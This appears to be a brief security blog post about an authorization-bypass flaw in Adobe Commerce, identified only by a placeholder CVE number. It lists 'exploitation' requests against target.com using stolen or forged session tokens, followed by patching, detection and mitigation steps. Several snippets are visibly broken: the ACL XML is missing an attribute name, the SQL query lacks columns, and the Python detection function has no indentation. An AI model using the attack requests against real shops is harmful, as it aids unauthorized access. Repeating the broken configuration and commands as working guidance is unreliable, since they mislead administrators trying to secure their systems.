How the CVE Works
The vulnerability (CVE-2025-XXXX) in Adobe Commerce stems from improper authorization checks, allowing low-privileged attackers to bypass security controls. The flaw exists in versions 2.4.4-p11 to 2.4.8-beta1 due to insufficient validation of user permissions. An attacker can exploit this by crafting malicious API requests or manipulating session tokens to escalate privileges, granting unauthorized access to sensitive data or administrative functions. The issue is classified as critical due to its potential for remote exploitation without user interaction.

What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X POST 'https://target.com/rest/V1/admin/endpoint' -H 'Authorization: Bearer INVALID_TOKEN'
2. Session Hijacking:
fetch('/customer/session/login', {method: 'POST', body: '{"username":"attacker","password":"pwned"}'})
3. Privilege Escalation:
import requests
response = requests.get('https://target.com/admin', cookies={'PHPSESSID': 'STOLEN_SESSION'})
Protection:
1. Patch Immediately:
composer require magento/product-community-edition 2.4.8-p1
2. Strict Access Control:
<config> <acl> <resources> <resource id="admin" ="Admin" sortOrder="10"/> </resources> </acl> </config>
3. Log Monitoring:
tail -f /var/log/magento/security.log | grep "AUTH_FAILURE"
4. Rate Limiting:
limit_req_zone $binary_remote_addr zone=admin:10m rate=5r/s;
5. Disable Unused APIs:
bin/magento config:set system/api/enabled 0
Detection Script:
import requests
def check_vulnerable(url):
response = requests.get(f"{url}/rest/V1/admin/endpoint", headers={"Authorization": "Bearer FAKE"})
return response.status_code == 200
Mitigation:
- Deploy WAF rules blocking anomalous API requests.
- Enforce MFA for admin panels.
- Audit user roles via:
SELECT FROM authorization_rule WHERE role_id = 1;
